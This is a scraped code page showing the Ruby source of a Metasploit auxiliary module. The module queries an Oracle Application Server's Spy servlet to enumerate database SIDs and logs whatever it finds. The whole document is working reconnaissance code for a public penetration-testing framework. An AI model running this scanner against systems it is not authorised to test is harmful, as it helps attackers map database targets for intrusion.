Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/oracle/spy_sid.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Oracle Application Server Spy Servlet SID Enumeration',13'Description' => %q{14This module makes a request to the Oracle Application Server15in an attempt to discover the SID.16},17'References' =>18[19[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],20],21'Author' => [ 'MC' ],22'License' => MSF_LICENSE23)2425register_options(26[27Opt::RPORT(1158)28])29end3031def run_host(ip)32begin33res = send_request_raw({34'uri' => '/servlet/Spy?format=raw&loginfo=true',35'method' => 'GET',36'version' => '1.1',37}, 5)3839if res and res.body =~ /SERVICE_NAME=/40select(nil,nil,nil,2)41sid = res.body.scan(/SERVICE_NAME=([^\)]+)/)42report_note(43:host => ip,44:port => datastore['RPORT'],45:proto => 'tcp',46:type => 'oracle_sid',47:data => "#{sid.uniq}",48:update => :unique_data49)50print_good("#{rhost}:#{rport} Discovered SID: '#{sid.uniq}'")51else52print_error("Unable to retrieve SID for #{ip}...")53end54rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout55rescue ::Timeout::Error, ::Errno::EPIPE56end57end58end596061